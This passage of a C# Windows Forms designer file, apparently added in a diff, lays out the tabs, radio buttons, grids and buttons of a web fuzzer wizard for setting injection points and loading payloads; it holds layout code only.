this.FuzzBaseTabs.Padding = new System.Drawing.Point(0, 0); + this.FuzzBaseTabs.SelectedIndex = 0; + this.FuzzBaseTabs.Size = new System.Drawing.Size(876, 328); + this.FuzzBaseTabs.TabIndex = 17; + this.FuzzBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.FuzzBaseTabs_Selecting); + // + // NameTab + // + this.NameTab.BackColor = System.Drawing.Color.White; + this.NameTab.Controls.Add(this.FuzzInCodeRB); + this.NameTab.Controls.Add(this.FuzzUseUiRB); + this.NameTab.Controls.Add(this.textBox9); + this.NameTab.Controls.Add(this.FuzzStepZeroNextBtn); + this.NameTab.Location = new System.Drawing.Point(4, 25); + this.NameTab.Margin = new System.Windows.Forms.Padding(0); + this.NameTab.Name = "NameTab"; + this.NameTab.Padding = new System.Windows.Forms.Padding(5); + this.NameTab.Size = new System.Drawing.Size(868, 299); + this.NameTab.TabIndex = 0; + this.NameTab.Text = " Start "; + // + // FuzzInCodeRB + // + this.FuzzInCodeRB.AutoSize = true; + this.FuzzInCodeRB.Location = new System.Drawing.Point(34, 210); + this.FuzzInCodeRB.Name = "FuzzInCodeRB"; + this.FuzzInCodeRB.Size = new System.Drawing.Size(252, 17); + this.FuzzInCodeRB.TabIndex = 6; + this.FuzzInCodeRB.Text = "Set the Fuzz/Injection points directly in the code"; + this.FuzzInCodeRB.UseVisualStyleBackColor = true; + // + // FuzzUseUiRB + // + this.FuzzUseUiRB.AutoSize = true; + this.FuzzUseUiRB.Checked = true; + this.FuzzUseUiRB.Location = new System.Drawing.Point(34, 172); + this.FuzzUseUiRB.Name = "FuzzUseUiRB"; + this.FuzzUseUiRB.Size = new System.Drawing.Size(345, 17); + this.FuzzUseUiRB.TabIndex = 5; + this.FuzzUseUiRB.TabStop = true; + this.FuzzUseUiRB.Text = "Display an UI during script execution to set the Fuzz/Injection points"; + this.FuzzUseUiRB.UseVisualStyleBackColor = true; + // + // textBox9 + // + this.textBox9.BackColor = System.Drawing.Color.White; + this.textBox9.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox9.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox9.Location = new System.Drawing.Point(5, 5); + this.textBox9.Multiline = true; + this.textBox9.Name = "textBox9"; + this.textBox9.ReadOnly = true; + this.textBox9.Size = new System.Drawing.Size(858, 145); + this.textBox9.TabIndex = 3; + this.textBox9.TabStop = false; + this.textBox9.Text = resources.GetString("textBox9.Text"); + // + // FuzzStepZeroNextBtn + // + this.FuzzStepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzStepZeroNextBtn.Location = new System.Drawing.Point(753, 268); + this.FuzzStepZeroNextBtn.Name = "FuzzStepZeroNextBtn"; + this.FuzzStepZeroNextBtn.Size = new System.Drawing.Size(105, 23); + this.FuzzStepZeroNextBtn.TabIndex = 2; + this.FuzzStepZeroNextBtn.Text = "Next Step ->"; + this.FuzzStepZeroNextBtn.UseVisualStyleBackColor = true; + this.FuzzStepZeroNextBtn.Click += new System.EventHandler(this.FuzzStepZeroNextBtn_Click); + // + // LanguageTab + // + this.LanguageTab.BackColor = System.Drawing.Color.White; + this.LanguageTab.Controls.Add(this.FuzzSelectedParametersListTB); + this.LanguageTab.Controls.Add(this.FuzzBodyTypeGB); + this.LanguageTab.Controls.Add(this.FuzzAddPointLL); + this.LanguageTab.Controls.Add(this.FuzzParametersNameListLbl); + this.LanguageTab.Controls.Add(this.FuzzParametersNameListTB); + this.LanguageTab.Controls.Add(this.FuzzListedParametersRB); + this.LanguageTab.Controls.Add(this.FuzzAllParametersRB); + this.LanguageTab.Controls.Add(this.FuzzParameterTypeGrid); + this.LanguageTab.Controls.Add(this.FuzzStep1StatusTB); + this.LanguageTab.Controls.Add(this.textBox18); + this.LanguageTab.Controls.Add(this.FuzzStepOnePreviousBtn); + this.LanguageTab.Controls.Add(this.FuzzStepOneNextBtn); + this.LanguageTab.Location = new System.Drawing.Point(4, 25); + this.LanguageTab.Name = "LanguageTab"; + this.LanguageTab.Padding = new System.Windows.Forms.Padding(5); + this.LanguageTab.Size = new System.Drawing.Size(868, 299); + this.LanguageTab.TabIndex = 2; + this.LanguageTab.Text = " Set Fuzz Points "; + // + // FuzzSelectedParametersListTB + // + this.FuzzSelectedParametersListTB.BackColor = System.Drawing.Color.White; + this.FuzzSelectedParametersListTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FuzzSelectedParametersListTB.ForeColor = System.Drawing.Color.CornflowerBlue; + this.FuzzSelectedParametersListTB.Location = new System.Drawing.Point(8, 218); + this.FuzzSelectedParametersListTB.Multiline = true; + this.FuzzSelectedParametersListTB.Name = "FuzzSelectedParametersListTB"; + this.FuzzSelectedParametersListTB.ReadOnly = true; + this.FuzzSelectedParametersListTB.Size = new System.Drawing.Size(210, 44); + this.FuzzSelectedParametersListTB.TabIndex = 23; + this.FuzzSelectedParametersListTB.TabStop = false; + // + // FuzzBodyTypeGB + // + this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomMsgTB); + this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomEndTB); + this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomEndLbl); + this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomStartTB); + this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomStartLbl); + this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyTypeGrid); + this.FuzzBodyTypeGB.Location = new System.Drawing.Point(224, 69); + this.FuzzBodyTypeGB.Name = "FuzzBodyTypeGB"; + this.FuzzBodyTypeGB.Size = new System.Drawing.Size(376, 166); + this.FuzzBodyTypeGB.TabIndex = 22; + this.FuzzBodyTypeGB.TabStop = false; + this.FuzzBodyTypeGB.Text = "Select the type of Request body format:"; + this.FuzzBodyTypeGB.Visible = false; + // + // FuzzBodyCustomMsgTB + // + this.FuzzBodyCustomMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzBodyCustomMsgTB.BackColor = System.Drawing.Color.White; + this.FuzzBodyCustomMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FuzzBodyCustomMsgTB.Location = new System.Drawing.Point(195, 11); + this.FuzzBodyCustomMsgTB.Multiline = true; + this.FuzzBodyCustomMsgTB.Name = "FuzzBodyCustomMsgTB"; + this.FuzzBodyCustomMsgTB.ReadOnly = true; + this.FuzzBodyCustomMsgTB.Size = new System.Drawing.Size(175, 97); + this.FuzzBodyCustomMsgTB.TabIndex = 22; + this.FuzzBodyCustomMsgTB.TabStop = false; + this.FuzzBodyCustomMsgTB.Text = "If the body format is unknown then just place unique strings at start and end of " + + "the sections that must be fuzzed.\r\nThese are the fuzz point markers, mention the" + + "se marker values below."; + this.FuzzBodyCustomMsgTB.Visible = false; + // + // FuzzBodyCustomEndTB + // + this.FuzzBodyCustomEndTB.Location = new System.Drawing.Point(302, 140); + this.FuzzBodyCustomEndTB.Name = "FuzzBodyCustomEndTB"; + this.FuzzBodyCustomEndTB.Size = new System.Drawing.Size(68, 20); + this.FuzzBodyCustomEndTB.TabIndex = 20; + this.FuzzBodyCustomEndTB.Visible = false; + // + // FuzzBodyCustomEndLbl + // + this.FuzzBodyCustomEndLbl.AutoSize = true; + this.FuzzBodyCustomEndLbl.Location = new System.Drawing.Point(192, 140); + this.FuzzBodyCustomEndLbl.Name = "FuzzBodyCustomEndLbl"; + this.FuzzBodyCustomEndLbl.Size = new System.Drawing.Size(103, 13); + this.FuzzBodyCustomEndLbl.TabIndex = 21; + this.FuzzBodyCustomEndLbl.Text = "Fuzz Pt End Marker:"; + this.FuzzBodyCustomEndLbl.Visible = false; + // + // FuzzBodyCustomStartTB + // + this.FuzzBodyCustomStartTB.Location = new System.Drawing.Point(302, 114); + this.FuzzBodyCustomStartTB.Name = "FuzzBodyCustomStartTB"; + this.FuzzBodyCustomStartTB.Size = new System.Drawing.Size(68, 20); + this.FuzzBodyCustomStartTB.TabIndex = 18; + this.FuzzBodyCustomStartTB.Visible = false; + // + // FuzzBodyCustomStartLbl + // + this.FuzzBodyCustomStartLbl.AutoSize = true; + this.FuzzBodyCustomStartLbl.Location = new System.Drawing.Point(191, 117); + this.FuzzBodyCustomStartLbl.Name = "FuzzBodyCustomStartLbl"; + this.FuzzBodyCustomStartLbl.Size = new System.Drawing.Size(106, 13); + this.FuzzBodyCustomStartLbl.TabIndex = 19; + this.FuzzBodyCustomStartLbl.Text = "Fuzz Pt Start Marker:"; + this.FuzzBodyCustomStartLbl.Visible = false; + // + // FuzzBodyTypeGrid + // + this.FuzzBodyTypeGrid.AllowUserToAddRows = false; + this.FuzzBodyTypeGrid.AllowUserToDeleteRows = false; + this.FuzzBodyTypeGrid.AllowUserToResizeRows = false; + this.FuzzBodyTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzBodyTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle11.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle11.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle11.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle11.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle11.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle11.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FuzzBodyTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle11; + this.FuzzBodyTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FuzzBodyTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn12, + this.dataGridViewTextBoxColumn20}); + this.FuzzBodyTypeGrid.GridColor = System.Drawing.Color.White; + this.FuzzBodyTypeGrid.Location = new System.Drawing.Point(6, 23); + this.FuzzBodyTypeGrid.Name = "FuzzBodyTypeGrid"; + this.FuzzBodyTypeGrid.ReadOnly = true; + this.FuzzBodyTypeGrid.RowHeadersVisible = false; + this.FuzzBodyTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FuzzBodyTypeGrid.Size = new System.Drawing.Size(180, 137); + this.FuzzBodyTypeGrid.TabIndex = 17; + this.FuzzBodyTypeGrid.Visible = false; + this.FuzzBodyTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FuzzBodyTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn12 + // + this.dataGridViewCheckBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn12.HeaderText = ""; + this.dataGridViewCheckBoxColumn12.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn12.Name = "dataGridViewCheckBoxColumn12"; + this.dataGridViewCheckBoxColumn12.ReadOnly = true; + this.dataGridViewCheckBoxColumn12.Width = 25; + // + // dataGridViewTextBoxColumn20 + // + this.dataGridViewTextBoxColumn20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn20.HeaderText = "Body Type"; + this.dataGridViewTextBoxColumn20.Name = "dataGridViewTextBoxColumn20"; + this.dataGridViewTextBoxColumn20.ReadOnly = true; + this.dataGridViewTextBoxColumn20.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn20.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // FuzzAddPointLL + // + this.FuzzAddPointLL.AutoSize = true; + this.FuzzAddPointLL.Location = new System.Drawing.Point(770, 74); + this.FuzzAddPointLL.Name = "FuzzAddPointLL"; + this.FuzzAddPointLL.Size = new System.Drawing.Size(89, 13); + this.FuzzAddPointLL.TabIndex = 21; + this.FuzzAddPointLL.TabStop = true; + this.FuzzAddPointLL.Text = "Add Fuzz Point(s)"; + this.FuzzAddPointLL.Visible = false; + this.FuzzAddPointLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.FuzzAddPointLL_LinkClicked); + // + // FuzzParametersNameListLbl + // + this.FuzzParametersNameListLbl.AutoSize = true; + this.FuzzParametersNameListLbl.Location = new System.Drawing.Point(606, 132); + this.FuzzParametersNameListLbl.Name = "FuzzParametersNameListLbl"; + this.FuzzParametersNameListLbl.Size = new System.Drawing.Size(238, 13); + this.FuzzParametersNameListLbl.TabIndex = 19; + this.FuzzParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; + this.FuzzParametersNameListLbl.Visible = false; + // + // FuzzParametersNameListTB + // + this.FuzzParametersNameListTB.Enabled = false; + this.FuzzParametersNameListTB.Location = new System.Drawing.Point(607, 149); + this.FuzzParametersNameListTB.Multiline = true; + this.FuzzParametersNameListTB.Name = "FuzzParametersNameListTB"; + this.FuzzParametersNameListTB.Size = new System.Drawing.Size(219, 75); + this.FuzzParametersNameListTB.TabIndex = 18; + this.FuzzParametersNameListTB.Visible = false; + // + // FuzzListedParametersRB + // + this.FuzzListedParametersRB.AutoSize = true; + this.FuzzListedParametersRB.Location = new System.Drawing.Point(606, 97); + this.FuzzListedParametersRB.Name = "FuzzListedParametersRB"; + this.FuzzListedParametersRB.Size = new System.Drawing.Size(228, 17); + this.FuzzListedParametersRB.TabIndex = 16; + this.FuzzListedParametersRB.Text = "Fuzz only UrlPathPart positions listed below"; + this.FuzzListedParametersRB.UseVisualStyleBackColor = true; + this.FuzzListedParametersRB.Visible = false; + this.FuzzListedParametersRB.CheckedChanged += new System.EventHandler(this.FuzzListedParametersRB_CheckedChanged); + // + // FuzzAllParametersRB + // + this.FuzzAllParametersRB.AutoSize = true; + this.FuzzAllParametersRB.Checked = true; + this.FuzzAllParametersRB.Location = new System.Drawing.Point(606, 74); + this.FuzzAllParametersRB.Name = "FuzzAllParametersRB"; + this.FuzzAllParametersRB.Size = new System.Drawing.Size(161, 17); + this.FuzzAllParametersRB.TabIndex = 15; + this.FuzzAllParametersRB.TabStop = true; + this.FuzzAllParametersRB.Text = "Fuzz all UrlPathPart positions"; + this.FuzzAllParametersRB.UseVisualStyleBackColor = true; + this.FuzzAllParametersRB.Visible = false; + // + // FuzzParameterTypeGrid + // + this.FuzzParameterTypeGrid.AllowUserToAddRows = false; + this.FuzzParameterTypeGrid.AllowUserToDeleteRows = false; + this.FuzzParameterTypeGrid.AllowUserToResizeRows = false; + this.FuzzParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle12.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle12.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle12.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle12.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle12.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle12.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FuzzParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle12; + this.FuzzParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FuzzParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn11, + this.dataGridViewTextBoxColumn19}); + this.FuzzParameterTypeGrid.GridColor = System.Drawing.Color.White; + this.FuzzParameterTypeGrid.Location = new System.Drawing.Point(8, 74); + this.FuzzParameterTypeGrid.Name = "FuzzParameterTypeGrid"; + this.FuzzParameterTypeGrid.ReadOnly = true; + this.FuzzParameterTypeGrid.RowHeadersVisible = false; + this.FuzzParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FuzzParameterTypeGrid.Size = new System.Drawing.Size(210, 138); + this.FuzzParameterTypeGrid.TabIndex = 14; + this.FuzzParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FuzzParameterTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn11 + // + this.dataGridViewCheckBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn11.HeaderText = ""; + this.dataGridViewCheckBoxColumn11.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn11.Name = "dataGridViewCheckBoxColumn11"; + this.dataGridViewCheckBoxColumn11.ReadOnly = true; + this.dataGridViewCheckBoxColumn11.Width = 25; + // + // dataGridViewTextBoxColumn19 + // + this.dataGridViewTextBoxColumn19.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn19.HeaderText = "Select the Parameter to Fuzz:"; + this.dataGridViewTextBoxColumn19.Name = "dataGridViewTextBoxColumn19"; + this.dataGridViewTextBoxColumn19.ReadOnly = true; + this.dataGridViewTextBoxColumn19.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn19.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // FuzzStep1StatusTB + // + this.FuzzStep1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzStep1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FuzzStep1StatusTB.Location = new System.Drawing.Point(230, 246); + this.FuzzStep1StatusTB.Multiline = true; + this.FuzzStep1StatusTB.Name = "FuzzStep1StatusTB"; + this.FuzzStep1StatusTB.Size = new System.Drawing.Size(505, 45); + this.FuzzStep1StatusTB.TabIndex = 13; + this.FuzzStep1StatusTB.TabStop = false; + this.FuzzStep1StatusTB.Visible = false; + // + // textBox18 + // + this.textBox18.BackColor = System.Drawing.Color.White; + this.textBox18.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox18.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox18.Location = new System.Drawing.Point(5, 5); + this.textBox18.Multiline = true; + this.textBox18.Name = "textBox18"; + this.textBox18.ReadOnly = true; + this.textBox18.Size = new System.Drawing.Size(858, 51); + this.textBox18.TabIndex = 11; + this.textBox18.TabStop = false; + this.textBox18.Text = resources.GetString("textBox18.Text"); + // + // FuzzStepOnePreviousBtn + // + this.FuzzStepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzStepOnePreviousBtn.Location = new System.Drawing.Point(8, 268); + this.FuzzStepOnePreviousBtn.Name = "FuzzStepOnePreviousBtn"; + this.FuzzStepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.FuzzStepOnePreviousBtn.TabIndex = 10; + this.FuzzStepOnePreviousBtn.Text = "<-Previous Step"; + this.FuzzStepOnePreviousBtn.UseVisualStyleBackColor = true; + this.FuzzStepOnePreviousBtn.Click += new System.EventHandler(this.FuzzStepOnePreviousBtn_Click); + // + // FuzzStepOneNextBtn + // + this.FuzzStepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FuzzStepOneNextBtn.Location = new System.Drawing.Point(755, 268); + this.FuzzStepOneNextBtn.Name = "FuzzStepOneNextBtn"; + this.FuzzStepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.FuzzStepOneNextBtn.TabIndex = 9; + this.FuzzStepOneNextBtn.Text = "Next Step ->"; + this.FuzzStepOneNextBtn.UseVisualStyleBackColor = true; + this.FuzzStepOneNextBtn.Click += new System.EventHandler(this.FuzzStepOneNextBtn_Click); + // + // PayloadsTab + // + this.PayloadsTab.BackColor = System.Drawing.Color.White; + this.PayloadsTab.Controls.Add(this.FuzzLoadPayloadsFromFileRB); + this.PayloadsTab.Controls.Add(this.FuzzUsePayloadsFromListRB); + this.PayloadsTab.Controls.Add(this.groupBox3); + this.PayloadsTab.Controls.Add(this.groupBox2); + this.PayloadsTab.Controls.Add(this.FuzzPayloadsFileLbl); + this.PayloadsTab.Controls.Add(this.FuzzPayloadsListTB); + this.PayloadsTab.Controls.Add(this.FuzzLoadPayloadsFileLL); + this.PayloadsTab.Controls.Add(this.FuzzStep2StatusTB); + this.PayloadsTab.Controls.Add(this.textBox17); + this.PayloadsTab.Controls.Add(this.FuzzStepTwoPreviousBtn); + this.PayloadsTab.Controls.Add(this.FuzzStepTwoNextBtn); + this.PayloadsTab.Location = new System.Drawing.Point(4, 25); + this.PayloadsTab.Margin = new System.Windows.Forms.Padding(0); + this.PayloadsTab.Name = "PayloadsTab"; + this.PayloadsTab.Padding = new System.Windows.Forms.Padding(5); + this.PayloadsTab.Size = new System.Drawing.Size(868, 299); + this.PayloadsTab.TabIndex = 1; + this.PayloadsTab.Text = " Fuzz Payloads "; + // + // FuzzLoadPayloadsFromFileRB + // + this.FuzzLoadPayloadsFromFileRB.AutoSize = true; + this.FuzzLoadPayloadsFromFileRB.Checked = true; + this.FuzzLoadPayloadsFromFileRB.Location = new System.Drawing.Point(11, 49); + this.FuzzLoadPayloadsFromFileRB.Name = "FuzzLoadPayloadsFromFileRB"; + this.FuzzLoadPayloadsFromFileRB.Size = new System.Drawing.Size(134, 17); + this.FuzzLoadPayloadsFromFileRB.TabIndex = 30; + this.FuzzLoadPayloadsFromFileRB.TabStop = true; + this.FuzzLoadPayloadsFromFileRB.Text = "Load Payloads from file"; + this.FuzzLoadPayloadsFromFileRB.UseVisualStyleBackColor = true; + this.FuzzLoadPayloadsFromFileRB.CheckedChanged += new System.EventHandler(this.FuzzLoadPayloadsFromFileRB_CheckedChanged); + // + // FuzzUsePayloadsFromListRB + // + this.FuzzUsePayloadsFromListRB.AutoSize = true; + this.FuzzUsePayloadsFromListRB.Location = new System.Drawing.Point(470, 49); + this.FuzzUsePayloadsFromListRB.Name = "FuzzUsePayloadsFromListRB"; + this.FuzzUsePayloadsFromListRB.Size = new System.Drawing.Size(147, 17); + this.FuzzUsePayloadsFromListRB.TabIndex = 29; + this.FuzzUsePayloadsFromListRB.Text = "Use Payloads from this list"; + this.FuzzUsePayloadsFromListRB.UseVisualStyleBackColor = true; + this.FuzzUsePayloadsFromListRB.CheckedChanged += new System.EventHandler(this.FuzzUsePayloadsFromListRB_CheckedChanged); + // + // groupBox3 + // + this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.groupBox3.Controls.Add(this.label13); + this.groupBox3.Controls.Add(this.FuzzOriginalParameterBeforePayloadRB); + this.groupBox3.Controls.Add(this.FuzzOriginalParameterAfterPayloadRB); + this.groupBox3.Controls.Add(this.FuzzNoOriginalParameterRB); + this.groupBox3.Location = new System.Drawing.Point(9, 189); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(848, 57); + this.groupBox3.TabIndex = 28; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "During testing sometimes the parameter\'s original value needs to be added along w" + + "ith the payload."; + // + // label13 + // + this.label13.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(6, 26); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(311, 13); + this.label13.TabIndex = 25; + this.label13.Text = "Where do you want to add the tested parameter\'s original value?"; + // + // FuzzOriginalParameterBeforePayloadRB + // + this.FuzzOriginalParameterBeforePayloadRB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzOriginalParameterBeforePayloadRB.AutoSize = true; + this.FuzzOriginalParameterBeforePayloadRB.Location = new System.Drawing.Point(347, 24); + this.FuzzOriginalParameterBeforePayloadRB.Name = "FuzzOriginalParameterBeforePayloadRB"; + this.FuzzOriginalParameterBeforePayloadRB.Size = new System.Drawing.Size(113, 17); + this.FuzzOriginalParameterBeforePayloadRB.TabIndex = 22; + this.FuzzOriginalParameterBeforePayloadRB.Text = "before the payload"; + this.FuzzOriginalParameterBeforePayloadRB.UseVisualStyleBackColor = true; + // + // FuzzOriginalParameterAfterPayloadRB + // + this.FuzzOriginalParameterAfterPayloadRB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzOriginalParameterAfterPayloadRB.AutoSize = true; + this.FuzzOriginalParameterAfterPayloadRB.Location = new System.Drawing.Point(475, 24); + this.FuzzOriginalParameterAfterPayloadRB.Name = "FuzzOriginalParameterAfterPayloadRB"; + this.FuzzOriginalParameterAfterPayloadRB.Size = new System.Drawing.Size(104, 17); + this.FuzzOriginalParameterAfterPayloadRB.TabIndex = 23; + this.FuzzOriginalParameterAfterPayloadRB.Text = "after the payload"; + this.FuzzOriginalParameterAfterPayloadRB.UseVisualStyleBackColor = true; + // + // FuzzNoOriginalParameterRB + // + this.FuzzNoOriginalParameterRB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FuzzNoOriginalParameterRB.AutoSize = true; + this.FuzzNoOriginalParameterRB.Checked = true; + this.FuzzNoOriginalParameterRB.Location = new System.Drawing.Point(595, 24); + this.FuzzNoOriginalParameterRB.Name = "FuzzNoOriginalParameterRB"; + this.FuzzNoOriginalParameterRB.Size = new System.Drawing.Size(69, 17); + this.FuzzNoOriginalParameterRB.TabIndex = 24; + this.FuzzNoOriginalParameterRB.TabStop = true; + this.FuzzNoOriginalParameterRB.Text = "don\'t add"; + this.FuzzNoOriginalParameterRB.UseVisualStyleBackColor = true; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.FuzzPayloadEncodedNoRB); + this.groupBox2.Controls.Add(this.FuzzPayloadEncodedYesRB); + this.groupBox2.Controls.Add(this.textBox10); + this.groupBox2.Location = new System.Drawing.Point(8, 97); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(448, 85); + this.groupBox2.TabIndex = 27; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Are the payloads in URL-Encoded form?"; + // + // FuzzPayloadEncodedNoRB + // + this.FuzzPayloadEncodedNoRB.AutoSize = true; + this.FuzzPayloadEncodedNoRB.Location = new System.Drawing.Point(72, 19); + this.FuzzPayloadEncodedNoRB.Name = "FuzzPayloadEncodedNoRB"; + this.FuzzPayloadEncodedNoRB.Size = new System.Drawing.Size(39, 17); + this.FuzzPayloadEncodedNoRB.TabIndex = 18; + this.FuzzPayloadEncodedNoRB.Text = "No"; + this.FuzzPayloadEncodedNoRB.UseVisualStyleBackColor = true; + // + // FuzzPayloadEncodedYesRB + // + this.FuzzPayloadEncodedYesRB.AutoSize = true; + this.FuzzPayloadEncodedYesRB.Checked = true; + this.FuzzPayloadEncodedYesRB.Location = new System.Drawing.Point(14, 19); + this.FuzzPayloadEncodedYesRB.Name = "FuzzPayloadEncodedYesRB"; + this.FuzzPayloadEncodedYesRB.Size = new System.Drawing.Size(43, 17); + this.FuzzPayloadEncodedYesRB.TabIndex = 17; + this.FuzzPayloadEncodedYesRB.TabStop = true; + this.FuzzPayloadEncodedYesRB.Text = "Yes"; + this.FuzzPayloadEncodedYesRB.UseVisualStyleBackColor = true; + // + // textBox10 + // + this.textBox10.BackColor = System.Drawing.Color.White; + this.textBox10.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox10.ForeColor = System.Drawing.Color.Black; + this.textBox10.Location = new System.Drawing.Point(10, 39); + this.textBox10.Multiline = true; + this.textBox10.Name = "textBox10"; + this.textBox10.ReadOnly = true; + this.textBox10.Size = new System.Drawing.Size(430, 31); + this.textBox10.TabIndex = 16; + this.textBox10.TabStop = false; + this.textBox10.Text = "If the payload is already in URL-encoded form then they will be decoded before be" + + "ing used. The fuzzer will performing the proper encoding internally when the pay" + + "load is injected."; + // + // FuzzPayloadsFileLbl + // + this.FuzzPayloadsFileLbl.AutoSize = true; + this.FuzzPayloadsFileLbl.Location = new System.Drawing.Point(19, 78); + this.FuzzPayloadsFileLbl.Name = "FuzzPayloadsFileLbl"; + this.FuzzPayloadsFileLbl.Size = new System.Drawing.Size(289, 13); + this.FuzzPayloadsFileLbl.TabIndex = 21; + this.FuzzPayloadsFileLbl.Text = " " + + " "; + // + // FuzzPayloadsListTB + // + this.FuzzPayloadsListTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | 